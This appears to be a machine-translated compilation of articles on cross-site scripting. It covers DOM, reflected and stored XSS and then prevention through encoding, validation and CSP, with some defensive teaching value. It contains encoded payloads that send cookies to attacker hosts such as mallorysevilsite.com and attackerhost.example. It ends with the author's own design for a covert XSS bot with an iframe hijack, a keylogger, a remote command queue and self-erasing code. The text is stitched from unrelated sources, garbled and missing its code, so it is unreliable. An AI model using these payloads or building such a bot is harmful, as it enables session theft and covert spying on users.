And DOM XSS change the DOM structure, which is formed in the browser on the fly, and we can see the malicious code only when we view the formed DOM structure. This does not change the HTML. Let's take the following code as an example:

Then in the browser we will see:

Source code of the page:

Let's form the address as follows:

Http: //localhost/tests/XSS/dom_xss.html#input=tokenAlex;

The page now looks like this:

But let's take a look at the HTML source:

Nothing has changed there. This is what I said, we need to look at the DOM structure of the document in order to identify malicious code:

Here is a working prototype of XSS, for a real attack we need a more complex payload, which is impossible due to the fact that the application stops reading immediately after the semicolon, and something like alert (1); alert (2) is no longer possible. However, thanks to unescape () in the returned data, we can use a payload like this:

Http: //localhost/tests/XSS/dom_xss.html#input=tokenAlex;

Where did we replace the symbol ; to the URI encoded equivalent!

We can now write a malicious JavaScript payload and compose a link to send to the victim, as is done for standard non-persistent cross-site scripting.

XSS Auditor

In Google Chrome (and also in Opera, which now uses the Google Chrome engine), I was in for a surprise like this:

dom_xss.html: 30 The XSS Auditor refused to execute a script in "http: //localhost/tests/XSS/dom_xss.html#input=token ‹script› alert (1); "because its source code was found within the request. The auditor was enabled as the server sent neither an" X-XSS-Protection "nor" Content-Security-Policy "header.

Those. there is now an XSS auditor in the browser that will try to prevent XSS. Firefox doesn't have this functionality yet, but I guess it's a matter of time. If the implementation in browsers is successful, then we can talk about a significant difficulty in using XSS.

It's helpful to remember that modern browsers are taking steps to limit exploitation of issues like volatile XSS and DOM-based XSS. This also needs to be remembered when testing websites using a browser - it may well turn out that the web application is vulnerable, but you do not see the confirmation pop-up just because the browser is blocking it.

Examples of XSS exploitation

Attackers intending to exploit cross-site scripting vulnerabilities must approach each vulnerability class differently. Attack vectors for each class are described here.

With XSS vulnerabilities, attacks can use BeEF, which extends the attack from the website to the local user environment.

An example of a volatile XSS attack

1. Alice frequently visits a certain website that Bob hosts. Bob's website allows Alice to log in with a username / password and save sensitive data such as payment information. When a user logs in, the browser saves authorization cookies, which look like meaningless characters, i.e. both computers (client and server) remember that she was logged in.

2. Malory notes that Bob's website contains a volatile XSS vulnerability:

2.1 When visiting the search page, she enter the search string and clicks on the submit button, if no results are found, the page displays the entered search string, followed by the words "not found" and the url looks like http://bobssite.org?q= her search query

2.2 With a normal search term like “ doggies"The page just displays" doggies not found "and url http://bobssite.org?q= doggies, which is normal behavior.

2.3 However, when an abnormal search query is sent to a search like :

2.3.1 A warning message appears (which says "xss").

2.3.2 The page displays not found along with an error message with the text "xss".

2.3.3 usable url http://bobssite.org?q=alert("xss");

3. Mallory constructs a URL to exploit the vulnerability:

3.1 She makes the URL http://bobssite.org?q=puppies ... She can choose to convert ASCII characters to hexadecimal format such as http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E to prevent people from immediately decrypting the malicious URL.

3.2 She sends an e-mail to some unsuspecting member of Bob's site saying, "Check out the cool dogs."

4. Alice receives a letter. She loves dogs and clicks on the link. She goes to Bob's site in a search, she doesn't find anything, it displays "no dogs found", and in the middle of it, a tag with a script is launched (it is invisible on the screen), loads and executes Mallory's authstealer.js program (triggering an XSS attack). Alice forgets about it.

5. The authstealer.js program runs in Alice's browser as if it originated from Bob's website. She grabs a copy of Alice's authorization cookies and sends them to Malorie's server, where Malorie retrieves them.

7. Now that Malorie is inside, she goes to the payment section of the website, looks up and steals a copy of Alice's credit card number. Then she goes and changes the password, i.e. now Alice can't even go in anymore.

8. She decides to take the next step and sends the link constructed in this way to Bob himself, and thus gets the administrative privileges of Bob's site.

Permanent XSS attack

1. Malorie has an account on Bob's website.
2. Malorie notices that Bob's website contains a persistent XSS vulnerability. If you go to a new section, post a comment, then it displays whatever is typed into it. But if the comment text contains HTML tags, those tags will be displayed as they are, and any script tags are run.
3. Malorie reads the article in the News section and writes a comment in the Comments section. She inserts the text into the comment:
4. In this story, I liked the dogs so much. They are so nice!

   Pay attention to which HTML tags your injected code falls into. Here is an example of a typical input field ( input):

   Our payload will go where the word "pillowcase" is now. Those. turn into tag value input... We can avoid this by closing the double quote and then the tag itself with "/>

   "/>

   Let's try it for a website:

   

   Excellent, vulnerability exists

   

   Programs for finding and scanning XSS vulnerabilities
   

   Probably all web application scanners have a built-in XSS vulnerability scanner. This topic is not comprehensive, it is better to get acquainted with each such scanner separately.

   Cross-Site Scripting or XSS. Cross-site scripting (cross-site scripting).

   The Cross-site Scripting vulnerability allows an attacker to transmit executable code to the server, which will be redirected to the user's browser. This code is usually written in HTML / JavaScript, but VBScript, ActiveX, Java, Flash, or other browser-supported technologies can be used.

   The submitted code is executed in the security context (or security zone) of the vulnerable server. By using these privileges, the code is able to read, modify, or transmit sensitive data accessible through the browser. The attacked user may have an account compromised (cookie theft), his browser may be redirected to another server, or the server content may be spoofed. As a result of a carefully planned attack, an attacker can use the victim's browser to view the site pages on behalf of the attacked user. The code can be transmitted by an attacker in the URL, in the headers Methods and structure of the HTTP request protocol (Cookie, user-agent, refferer), in the values ​​of form fields, etc.

   There are three types of cross-site scripting attacks: non-persistent non-persistent(reflected), persistent persistent(saved) and DOM based. The main difference between persistent and non-persistent is that in the reflected version, the transfer of the code to the server and its return to the client is carried out within one HTTP request, and in the stored one - in different ones.

   Implementing a non-persistent attack requires the user to follow the link generated by the attacker (the link can be sent by email, ICQ, etc.). During the loading of the site, the code embedded in the URL or request headers will be transmitted to the client and executed in his browser.

   A persistent vulnerability occurs when code is transmitted to a server and stored there for a period of time. The most popular targets in this case are forums, Web-based mail, and chat rooms. For an attack, the user does not need to follow the link; it is enough to visit the vulnerable site.

   Example. Persistent attack. Many sites have message boards and forums that allow users to post. A registered user is usually identified by a number

   session stored in a cookie. If an attacker leaves a message containing JavaScript code, he will gain access to the user's session ID. Sample code for passing cookies:

   Example. Reflected (non-persistent) variant of the attack. Many servers provide users with the ability to search the contents of the server. Typically, the request is passed in a URL and contained in the resulting page.

   For example, when clicking on the URL http: //portal.example/search? Q = ”fresh beer”, the user will be shown a page containing the search results and the phrase: “0 pages were found for your request for fresh beer”. If Javascript is passed as the search phrase, it will be executed in the user's browser. Example:

   Http: //portal.example/search/? Q =

   URLEncode encoding can be used to hide the script code

   Http: //portal.example/index.php? Sessionid = 12312312 & username =% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D% 65% 6E% 74% 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65% 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 6D% 70% 6C% 65% 2F% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F% 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 6F% 63% 75% 6D% 65% 6E% 74% 2E% 63% 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

   Flanagan David JavaScript

   Excerpted from Flanagan's book David JavaScript The Complete Guide 5th Edition.

   The term cross "site scripting, or XSS, refers to a computer vulnerability where an attacker injects HTML tags or scripts into documents on a vulnerable website. It is common for web developers to write server-side scripts to defend against XSS attacks. Developing client-side JavaScript scripts should also be aware of XSS attacks and take protective measures against them.

   A web page is considered vulnerable to XSS attacks if it dynamically generates document content based on user data that has not been preprocessed to remove inline HTML code. As a trivial example, consider the following web page that uses JavaScript to greet a user by name:

   The second line of the script calls the window.location.search.substring method to retrieve the portion of the address bar that begins with the? Character. The dynamically generated document content is then added using the document.write () method. This scenario assumes that the web page will be accessed using a URL similar to this:

   Http://www.example.com/greet.html?name=David

   In this case, the text "Hi David" will be displayed. But what happens if the page is requested using the following URL:

   Http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E

   With this URL content, the script will dynamically generate another script (the codes% 3C and% 3E are angle brackets)! In this case, the inserted script will simply display a dialog box that poses no danger. But imagine this case:

   Http: //siteA/greet.html? Name =% 3Cscript src = siteB / evil.js% 3E% 3C / script% 3E

   Cross-site scripting is called so because more than one site is involved in the attack. Site B (or even Site C) includes a specially crafted link (like the one just shown) to Site A, which contains a script from Site B. The evil.js script is hosted on attacker's site B, but now this script is being embedded in Site A and can do whatever he pleases with the content of site A. He can erase the page or cause other disruption to the site (for example, denial of service, which is discussed in the next section). This could adversely affect visitors to site A. It is much more dangerous that such a malicious script could read the content of the cookies stored on site A (possibly containing account numbers or other personal information) and send that data back to site B. The embedded script may even be tracked keystrokes and send that data to site B.

   A generic way to prevent XSS attacks is to remove HTML tags from all data of questionable origin before using them to dynamically generate document content. To fix this issue in the previously shown greet.html file, add the following line to the script to remove the angle brackets that surround the tag". Any user who visits the page will now receive the following response:

   
   Last comment:
   
   

   When the user's browser loads the page, it will execute everything, including the JavaScript contained within the tags ... This indicates that the mere presence of a script injected by an attacker is a problem, regardless of what particular script code is actually being executed.

   Part two: XSS attack

   XSS attack participants

   Before describing in detail how an XSS attack works, we need to identify the actors involved in the XSS attack. In general, there are three participants in an XSS attack: Web site, victim, and cracker.

   • Web site produces HTML pages for users who request them. In our examples, it is located at http: // website /.
     • Website database is a database that stores some of the data entered by users on the pages of the site.
   • Victim Is a regular website user who requests pages from him using his browser.
   • Attacking Is an attacker who intends to launch an attack on the victim by exploiting an XSS vulnerability on the site.
     • Cracker server Is a web server under the control of an attacker with the sole purpose of stealing the victim's confidential information. In our examples, it is located at http: // attacker /.

   Example attack scenario

   This script will create an HTTP request to a different URL that will redirect the user's browser to the attacker's server. The URL includes the victim's cookies as a request parameter, when an HTTP request arrives at the attacker's server, the attacker can extract these cookies from the request. After the attacker has received the cookies, he can use them to impersonate the victim and launch a subsequent attack.

   From now on, the above HTML code will be called malicious string or malicious script... It is important to understand that the string itself is only malicious if it is ultimately processed as HTML in the victim's browser, which can only happen if there is an XSS vulnerability in the website.

   How this example attack works

   The diagram below shows an example of an attacker performing an attack:
   

   1. The attacker uses one of the website's forms to insert a malicious string into the website's database.
   2. The victim requests a page from a website.
   3. The site includes a malicious string from the database in the response and sends it to the victim.
   4. The victim's browser runs the malicious script inside the response, sending the victim's cookie to the attacker's server.

   XSS types

   The target of an XSS attack is always to execute a malicious JavaScript script in the victim's browser. There are several fundamentally different ways to achieve this goal. XSS attacks are often categorized into three types:

   • Stored (persistent) XSS where the malicious string originates from the website's database.
   • Reflected (volatile) XSS where the malicious string is spawned from the victim's request.
   • DOMs XSS where the vulnerability occurs in the client-side code rather than the server-side code.

   The previous example shows a stored XSS attack. We will now describe two other types of XSS attacks: Reflected XSS and DOM XSS.

   Reflected XSS

   In a reflected XSS attack, the malicious string is part of the victim's request to the website. The site accepts and inserts this malicious string into the response it sends back to the user. The diagram below illustrates this scenario:

   1. The victim is tricked by the attacker to send a URL request to the website.
   2. The site includes a malicious string from the request URL in the victim's response.
   3. The victim's browser executes the malicious script contained in the response, sending the victim's cookie to the attacker's server.

   How to successfully defend against XSS attacks?

   A reflected XSS attack may seem harmless, as it requires the victim to send a request on their behalf containing a malicious string. Since no one will voluntarily attack themselves, there seems to be no way to actually carry out the attack.

   As it turns out, there are at least two common ways to get the victim to launch a reflected XSS attack against themselves:

   • If the user is a specific person, the attacker can send a malicious URL to the victim (for example, via email or instant messenger) and trick them into opening the link to visit the website.
   • If the target is a large group of users, an attacker could post a link to a malicious URL (for example, on his own website or on a social network) and wait for visitors to click on the link.

   Both of these methods are similar, and both can be more successful by using URL shortening services to mask the malicious string from users who might identify it.

   XSS in the DOM

   DOM XSS is a variant of both a stored and reflected XSS attack. In this XSS attack, the malicious string is not processed by the victim's browser until the actual JavaScript of the website is executed. The diagram below illustrates this scenario for a reflected XSS attack:
   

   1. The attacker creates a URL containing a malicious string and sends it to the victim.
   2. The victim is tricked by the attacker to send a URL request to the website.
   3. The site accepts the request, but does not include the malicious string in the response.
   4. The victim's browser executes the legitimate script contained in the response, as a result of which the malicious script will be inserted into the page.
   5. The victim's browser executes the malicious script inserted into the page, sending the victim's cookie to the attacker's server.

   What is the difference between XSS in the DOM?

   In the previous examples of stored and reflected XSS attacks, the server injects malicious script into the page, which is then forwarded in response to the victim. When the victim's browser receives a response, it assumes that the malicious script is part of the legitimate content of the page, and automatically executes it at page load time, just like any other script.

   In the DOM XSS attack example, the malicious script is not inserted as part of the page; the only script that is automatically executed during page load is the legitimate part of the page. The problem is that this legitimate script directly uses user input to add HTML to the page. Since the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to execute.

   This distinction is small, but very important:

   • In traditional XSS, malicious JavaScript is executed on page load, as part of the HTML sent by the server.
   • In the case of XSS in the DOM, the malicious JavaScript is executed after the page is loaded, causing that legitimate JavaScript page to access user input (containing the malicious string) in an unsafe manner.

   How does XSS work in the DOM?

   In the previous example, JavaScript is not required; the server can generate all the HTML by itself. If the server-side code were free of vulnerabilities, the website would not be vulnerable to the XSS vulnerability.

   However, as web applications become more advanced, more and more HTML pages are generated using JavaScript on the client side rather than on the server. At any time, the content must change without refreshing the entire page, this is possible using JavaScript. In particular, this is the case when the page is refreshed after an AJAX request.

   This means that XSS vulnerabilities can be present not only in the server side of your site's code, but also on the JavaScript side of your site's client code. Therefore, even with completely safe server-side code, client code may still not be safe to include user input when the DOM is updated after the page has loaded. If this happens, then the client-side code will allow an XSS attack through no fault of the server-side code.

   DOM-based XSS may not be visible to the server

   There is a special case of a DOM XSS attack in which the malicious string is never sent to the website server: this happens when the malicious string is contained in a portion of the URL's identifier (anything after the # character). Browsers do not send this portion of the URL to the server, so the website cannot be accessed by server side code. The client-side code, however, has access to it, and thus it is possible to conduct an XSS attack through insecure processing.

   This case is not limited to the fragment identifier. There is other user input that is invisible to the server, such as new HTML5 features like LocalStorage and IndexedDB.

   Part three:
   Preventing XSS

   XSS Prevention Techniques

   As a reminder, XSS is a code injection attack: user input is mistakenly interpreted as malicious code. Safe handling of input is required to prevent this type of code injection. For a web developer, there are two fundamentally different ways to perform secure input processing:

   • Coding is a way that allows the user to enter data only as data and does not allow the browser to be processed as code.
   • Validation is a way to filter user input so that the browser interprets it as code without malicious commands.

   While these are fundamentally different methods of XSS prevention, they have several things in common that are important to understand when using any of them:

   Context Safe handling of input needs to be done differently depending on where the user input is used on the page. inbound / outbound Secure input processing can be performed either when your site receives input (inbound traffic) or right before the site inserts user input into the page content (outbound). Client / Server Secure input processing can be done either on the client side or on the server side, each of which is needed under different circumstances.

   Before explaining in detail how coding and validation works, we describe each of these points.

   Handling User Input in Contexts

   There are many contexts on a web page where user input can be applied. For each of them, special rules must be followed so that user input cannot "escape" from its context and cannot be interpreted as malicious code. The following are the most common contexts:

   How important are contexts?

   In all of the described contexts, an XSS vulnerability can arise if user input was inserted prior to the first encoding or validation. An attacker can inject malicious code simply by inserting a closing separator for this context followed by malicious code.

   For example, if at some point a website includes user input directly into an HTML attribute, an attacker could inject malicious script by starting their input with a quotation mark, as shown below:

   This could have been prevented by simply removing all quotes in the user input and it would be fine, but only in this context. If the input was inserted into a different context, the closing delimiter will be different and injection will be possible. For this reason, safe handling of input must always be adapted to the context where user input will be inserted.

   Handling incoming / outgoing user input

   Instinctively, it might seem like XSS can be prevented by encoding or validating all user input as soon as our site receives it. This way, any malicious strings will already be neutralized whenever they are included in the page, and HTML generation scripts will not have to worry about safely handling user input.

   The problem is that, as described earlier, user input can be inserted into multiple contexts on the page. And there is no easy way to determine when user input comes into context - how it will eventually be inserted, and the same user input often needs to be inserted in different contexts. By relying on handling incoming input to prevent XSS, we create a very fragile solution that will be error prone. (The legacy PHP magic quotes are an example of such a solution.)

   Instead, handling outbound input should be your main line of defense against XSS, because it can take into account the specific context of what user input will be inserted. To some extent, inbound validation can be used to add a secondary layer of protection, but more on that later.

   Where it is possible to safely handle user input

   In most modern web applications, user input is handled both on the server-side code and on the client-side code. In order to protect against all types of XSS, secure input processing must be done in both server-side code and client-side code.

   • In order to protect against traditional XSS, secure input handling must be done in server-side code. This is done using some language supported by the server.
   • To protect against an XSS attack in the DOM, where the server never receives a malicious string (such as the ID fragment attack described earlier), secure input handling must be done in client-side code. This is done using JavaScript.

   Now that we have explained why context matters, why the distinction between inbound and outbound input processing is important, and why safe input processing must be done on both the client and server sides, we can go on to explain. how the two types of secure input handling (encoding and validation) are actually performed.

   Coding

   Encoding is a way out of a situation where it is necessary that the browser interprets user input only as data, not code. The most popular type of coding in web development is HTML masking, which converts characters such as < and > in < and > respectively.

   The following pseudocode is an example of how user input (user input) can be encoded using HTML masking and then inserted into a page using server-side script:

   print " "
   print "Last comment:"
   print encodeHtml (userInput)
   print ""

   If the user enters the following line, the resulting HTML will look like this:

   
   Last comment:
   
   

   Because all characters with a special meaning have been masked, the browser will not parse any part of the user input like HTML.

   Client and server side coding

   When executing client-side coding, JavaScript is always used, which has built-in functions that encode data for different contexts.

   When doing coding in your server-side code, you rely on the functions available in your language or framework. Due to the large number of languages ​​and frameworks available, this tutorial will not cover the details of coding in any particular server or framework language. However, client-side JavaScript encoding features are also used when writing server-side code.

   Client side coding

   When coding client-side user input with JavaScript, there are several built-in methods and properties that automatically encode all data into a context sensitive style:

   The last context already mentioned above (values ​​in JavaScript) is not included in this list because JavaScript does not provide a built-in way to encode data that would be included in the JavaScript source code.

   Encoding limitations

   Even when coding, it is possible to use malicious strings in some contexts. A prime example of this is when user input is used to provide a URL, like in the example below:

   document.querySelector ("a"). href = userInput

   Although the specified value in the property of the href element automatically encodes it so that it becomes nothing more than the value of the attribute, this in itself does not prevent an attacker from inserting a URL that begins with "javascript:". When the link is clicked, regardless of construction, the embedded JavaScript inside the URL will be executed.

   Coding is also not an efficient solution when you want users to be able to use some of the HTML codes on the page. An example would be a user profile page where a user can use custom HTML. If this plain HTML is encoded, the profile page can only consist of plain text.

   In situations like this, the coding must be complemented by validation, which we'll get to know next.

   Validation

   Validation is the act of filtering user input so that all malicious parts of it are removed without having to remove all of the code in it. One of the most used types of validation in web development allows you to use some HTML elements (for example, and ) but prohibiting others (e.g.
   

   With a properly defined CSP policy, the browser cannot download and execute malicious ‑ script.js because http: // attacker / is not listed as a trusted source. Even though the site was unable to reliably handle user input, in this case, the CSP policy prevented the vulnerability and any harm.

   Even if the attacker injected code into the script code rather than linking to an external file, a properly configured CSP policy would also prevent JavaScript from being injected, preventing vulnerability and harm.

   How do I enable CSP?

   By default, browsers do not use CSPs. In order to enable SCP on your website, pages must contain an additional HTTP header: Content ‑ Security ‑ Policy. Any page containing this header will apply security policies at the time of loading by the browser, provided that the browser supports CSP.

   Since the security policy is sent with every HTTP response, it is possible on the server to individually set the policy for each page. The same policy can be applied to the entire website by inserting the same CSP header in every response.

   The value in the Content-Security-Policy header contains a string that defines one or more security policies that will apply to your site. The syntax for this line will be described later.

   The heading examples in this section use line breaks and indentation for clarity; they should not appear in this heading.

   CSP syntax

   The syntax for the CSP header is as follows:

   Content ‑ Security ‑ Policy:
   directive source-expression, source-expression, ...;
   directive ...;
   ...

   This syntax has two elements:

   • Directives which are strings indicating the type of resource taken from the given list.
   • Source Expressions is a model describing one or more servers from which resources can be loaded.

   For each directive, the data in the source expression determines which sources can be used to load resources of the corresponding type.

   Directives

   The following directives can be used in the CSP header:

   • connect ‑ src
   • font-src
   • frame-src
   • img ‑ src
   • media-src
   • object ‑ src
   • script-src
   • style-src

   In addition to this, the special default-src directive can be used to provide a default value for all directives that were not included in the header.

   Source expression

   The syntax for creating a source expression is as follows:

   protocol: // host-name: port-number

   The hostname can start with *, which means that any subdomain of the provided hostname will be resolved. Similarly, the port number can be represented as *, which means that all ports will be allowed. In addition, the protocol and port number can be skipped. If no protocol is specified, the policy will require all resources to be loaded using HTTPS.

   In addition to the above syntax, the source expression can alternatively be one of four keywords with special meaning (quotes included):

   "none" disables resources. "self" resolves resources from the host on which the web page resides. "unsafe-inline" resolves resources contained in the page as inline

   http: //site.com/search.php?q=123

   
   we will deprive him of this opportunity.

   But this technique has even more interesting and powerful uses. We will simulate the user's stay on the site after clicking on the link, in fact, he will remain on the same page all the time, and at this time a third-party script will work, extracting and sending information to the attacker. Thus, XSS will work as long as the user follows the link on this domain .

   We define the idea.

   The general principle of operation is as follows: when a user visits a page with XSS, the script creates an iframe with the same address as this page and "sticks" it to the foreground, the user has the impression that the page loaded normally, because iframe can be seen only in the code pages.

   And the auxiliary script controls the logic of the spy bot, that is, it monitors when the address in the frame changes in order to change it in the address bar, but if there is a different domain in the newly changed address of the frame, then you can open it on a new vlkadka, or you will have to reload the page so as not to get burnt.
   Thus, in order for XSS to stop executing at the moment, the user must either refresh the page manually (if XSS is Reflected and was transmitted by the POST method, in other cases the update will not save, and by the way, some browsers can now send the POST request again when updating the page) or close the tab or switch to another domain (although in this case, you can still avoid losing control).

   If he goes to a subdomain of the attacked domain, then the choice of the attacker, that is, XSS will work, but there is a small chance that the user will see a discrepancy between the address. I think that according to the situation, for example, if the google.ru domain was attacked, the user switched to Google's cloud file service, which usually lies in the drive.google.ru subdomain, then the probability that he will notice the catch when looking at the address bar is quite high , if he used this service often... Otherwise, you can risk it. But we must take into account that we will not be able to read its data from a frame with a subdomain, since the Cross Origin Policy will not allow it. But we can calmly climb the main domain on its behalf in hidden mode (below will be more on this in more detail).

   Only this method has limitations, namely - it will not work if there is a header in the responses of the site's web server X-Frame-Options with the meaning DENY... But personally, I have met such sites just a couple of times, now even half SAMEORIGIN not exposed, let alone full restriction through DENY.

   Analyzing the idea.

   Now many probably remembered such a wonderful thing as BeEF, which also has a lot of interesting things. So, by the way, there is also an option for forced user redirection in the frame, but the address in the address bar does not change, which can quickly burn the desk and this option serves a little for other purposes.
   In general, BeEF'e has almost everything you need and even a lot of additional functions, but personally I wanted additional functionality, namely:

   • the ability to monitor the code of pages that are available to the attacked user in real time;
   • the ability to watch everything that he types on that site (from login and password, to hotkeys and messages), that is, keylogger on JS;
   • the ability to give JS commands to your bot in real time, after viewing the code of the received pages;
   • the ability to leave commands to the bot locally, so that it then “picks up” them and executes them without our direct participation;
   • a lower probability of the bot getting burnt, or the bot's ability to “hide” from prying eyes;

   As mentioned above - I decided to borrow from BeEF’a cool idea of ​​the command execution queue. For example, we analyzed the pages that the bot threw when a privileged user climbed in his control panel with stored XSS, we leave the command to the bot - the JS code, like the next time the user enters, press this button, write this value here, etc. when this user next visits the page, the bot reads the commands and executes them, and we don't have to be at his helm at all - it's very convenient.

   Basically, such a bot, of course, is designed for status users of some sites that have additional "levers" of content management, other users, and so on. From the requests for functionality, it is clear that you cannot do without the server side.

   Let's implement the idea.

   In principle, you can skip this part of the article, since it simply describes the process of implementing the desired bot and some of its details, in case someone wants to remake it or finish it for themselves. Although the bot at the beginning of the code will have variables through which you can set some settings.
   First, the algorithm of the bot's actions from the moment of loading:

   1) Checking for the presence of a header X-Frame-Options: DENY(if there is, then roll up the fishing rods);
   2) Embedding a frame and setting up all the components of the bot;
   3) Removing the script and all traces in the HTML code;
   4) Establishing contact with the server side and the beginning of sending data, reacting to responses (receiving commands from the server);

   The first point was not entirely complete, that is, the bot checks only the first page and the root header. The fact is that usually these headers are embedded by the web server for all pages at once and it is very rare that everything is done “manually” for a separate page. And this title itself is quite rare. Well, there is nothing special to say about the second and third, everything will be lower.

   There is a relatively important point that before adding the bot script code in your code, you need to get rid of the XSS signs in the address bar immediately (from the JS code), as this reduces the chances of detection and, most importantly, prevents recursion that occurs when you add an address to the frame with the same XSS code, which in turn creates another frame with itself, and so on.

   But just in case, the bot code implements the possibility of detecting such a frame recursion and preventing it at the first attempt to add a frame to an already created one, but it is better not to rely only on it, but to additionally delete the code before loading the bot code. Although I have not encountered any problems yet.

   Frame update check function. I tried several ways to economically solve this problem by hanging event handlers on contentWindow or contentDocument, but nothing succeeded, so I had to write a function that would check the address of the frame and compare it with the previously saved one, and based on this, decide whether the frame is updated (whether the address has changed) and then recursively called itself.
   
   The frequency of such checks per second is controlled by a variable delay, which is specified at the beginning of the bot code file. But later, having already written it, I found a more efficient solution - use a simple solution and hang onload per frame, so I left that function, but commented it out, in case it turns out to be more in demand later.

   Sending the HTML code of the page.

   Here the scheme is quite simple - after each reloading of the frame (including the first loading), the bot sends to the server the entire HTML code of the page along with its current address, so that later you can distinguish whether the code belongs to the required pages.

   The server implements the logic of storing pages - the server for each domain creates a folder with the name of this domain and there we save all the data. The page codes are saved and constantly updated to the latest versions, but at the same time a new copy of the page is created every new day so that you can control the version history if necessary. That is, for /news.php On September 1, the status will be updated, and on September 2 a copy of it will be created, only relevant for that day and so every day again (if the user visits this page every day). The page name consists of the date and the path to this page relative to the site root (that is, without a domain).

   Keylogger in JavaScript.

   The idea has already been implemented by some enthusiasts, but for me their developments did not fit, if only because most of them were quite simple, that is, they detected the code of the pressed key and through String.fromCharCode translated into symbols. But this method has a number of disadvantages - control keys such as shift, control, space, etc., are not translated into any form (often just an empty character), the interaction of alphanumeric keys with the shift key is incorrectly logged, since this must be implemented programmatically, and also, all pressed keys are displayed in uppercase, which can also be corrected programmatically.

   As a result, we got a keylogger that correctly detected all keys of numbers, letters and basic characters, working on both layouts, responding to the shift and logging all the main special keys. True, some characters (at the top of the digital row, which are printed when the shift and number are pressed), on some machines may differ, since they were implemented according to the main standard, which some companies change.
   Each portion of the pressed characters is retained by the client until the text element loses focus. Further, this portion is sent to the server, where it is saved in a text file, which will also be created every day with a new copy, so that there is no growth to large sizes and you can quickly find what the user was typing at such a time.
   In addition to the keys themselves, information about the element in which the text was typed is sent to the server with each portion (that is, was it , [ </i> or some <i><body> </i> when the user used hotkeys), in addition to the name of the element, its basic data (id, name, class - if present) is sent so that it can then be easily found in the code. And of course, the address of the page on which there was a set and the approximate time of this set are recorded. In general, the information about the user knocking on the keyboard is sent quite enough for its subsequent analysis.</p><h3><u><b>Command your bot.</b> </u></h3><p>This process can be carried out by an attacker or on the side where the server part of the bot is launched, or even remotely. After starting the server script, a self-written miniature web server starts, which serves the requests of the bot and its controller, which works through the web interface. That is, after starting, the web server issues a link, by clicking on which you can start giving commands to the bot.</p><p>About this control panel. First, it was necessary to restrict it with a password (the path and few people will know about the running service on such and such a port or about the address at which you need to log in to use this service), so that when you first enter the server will ask for a password that is supplied in the address bar (an example will be provided), the original password is stored in <i>password.txt</i> that can be changed. After the first visit, the web server will instruct the browser to save the password in a cookie, so you don't have to worry about that anymore.</p><p>On the page for sending commands to the bot itself, there is also information about the state of the bot - whether it is online or offline at the moment, and a couple of settings, the first of which is the host, that is, the IP address or domain of the site to which the commands will be sent to the bot. This is calculated in case several sites will contain this bot so that they can be identified. On the server, also for this case, all data is divided into folders with domain names. <br>Next comes the window where you can write commands to the bot in JS, and the option that sets where this JS code will be executed, on the main window where the bot sits or in a frame - this is done for convenience, just in case.</p><p>If the bot is not online, then the server simply saves the commands and later, when the bot goes online, that is, the user visits the page with it again or follows the attacker's link - these commands will be executed. <br>This is very convenient if, during the first exploration, the bot threw off all the pages visited by the user (for example, a personal account), having studied the code of which we compiled commands in JS, so that later the bot would click on the links we need, enter the necessary data, display the necessary pictures, etc., which will help achieve the set goal.</p><p>Or you can directly in real time, quickly look at the contents of the pages through the code and give the bot commands to send the code of other pages, go to another address, etc. And all this will be done “behind the screen” by the user, who will calmly surf on site through the frame.</p><p>For your convenience, you can form the most frequently used instructions into entire functions in JS, which then enter the bots into the source file ( <i>xsb.js</i>, the file structure will be discussed below) and use. Or use those of the functions that are embedded in the bot, although there is only the basis and there is nothing new, but for example, you can use the function of sending the page code at any time, and not when the frame is reloaded. You can write a function that will open the links passed to it in new frames in the background in order to view the contents of several pages on behalf of the user (and operate this content with his virtual hands).</p><h3><u><b>Removing your own code.</b> </u></h3><p>Well, the last feature is implemented quite simply (it can be disabled by setting the desired variable in the file, they are commented out). The script, after setting up and hanging all event handlers, creating all variables and functions, deletes itself</p><p>After all, all the data has already been loaded into RAM through the browser, so there is nothing to worry about, but this is in theory, maybe later there will be some problems that I did not take into account, so I gave a variable that can be disabled by necessity.</p><p>After removing all the scripts, it will be extremely difficult to notice XSS, since the presence of a frame does not speak about it quite indirectly, and the code itself can be found only in the logs of the browser's network traffic history (which are not kept by default in many browsers, if the developer panel is not open) ...</p><h3><u><b>Server part.</b> </u></h3><p>For an easier and more convenient way to launch the bot, it was decided to write my own small web server on sockets, which would serve the bot, provide all operations for receiving and placing the sent data, transmit messages between the attacker and the bot, and create a web interface for commanding the attacker. ... <br>The server was written in python, I tried to use only standard libraries so that I didn't have to install anything before starting it. Also, the server itself edits some data in the scripts, that is, in the bot's JS script, you do not need to set the address of the command server, the web server itself will put the required one there when it starts. There is only one parameter in the server configuration - the port on which it will start (by default, 8000). <br>After starting, the server will display all the necessary data - a link to the JS script, which will need to be slipped, a link to the command panel, or rather links to external and local addresses, for convenience.</p><h3><u><b>Scheme of working with a bot.</b> </u></h3><p>We start the server on some unclaimed port and you can send a link with a bot script, then everyone who follows it will send you data that the server will save at any time of the day. Then you can just view them if there is a need to leave the team to the bot and continue to go about their business.</p><h3><u><b>File structure.</b> </u></h3><p>The folder contains the following files:</p><ul><li><b>xsb.py</b>- the main file that implements the server part, for the bot to run it, and then just use the link it offers;</li><li><b>xsb.js</b>- the JS code of the bot is stored here, the link to which is issued by the server, at its beginning configuration variables are declared, which can be changed at your discretion (some, namely the host and the port, the server will expose later, you don't have to bother);</li><li><b>panel.html</b>- from here the server takes the code for the bot control panel, you can tweak the interface at your discretion;</li><li><b>password.txt</b>- the password from the control panel is stored here, which can be changed;</li><li><b>savedData</b>- this is a directory in which folders with site domains will be created, in which all information will be saved.</li> </ul><p>Once again, I note that in the file <i>xsb.js</i> you can add your own functions, which are then called through the panel, without writing huge portions of code;</p><h3><u><b>A small analysis of the results.</b> </u></h3><p>After writing my own invented way of keeping a user on a page with XSS through frames (well, as an invented one - I personally discovered it for myself, it is quite possible that someone else “invented” this technique for himself or it is already somewhere in the public shone, because now it is quite difficult to develop 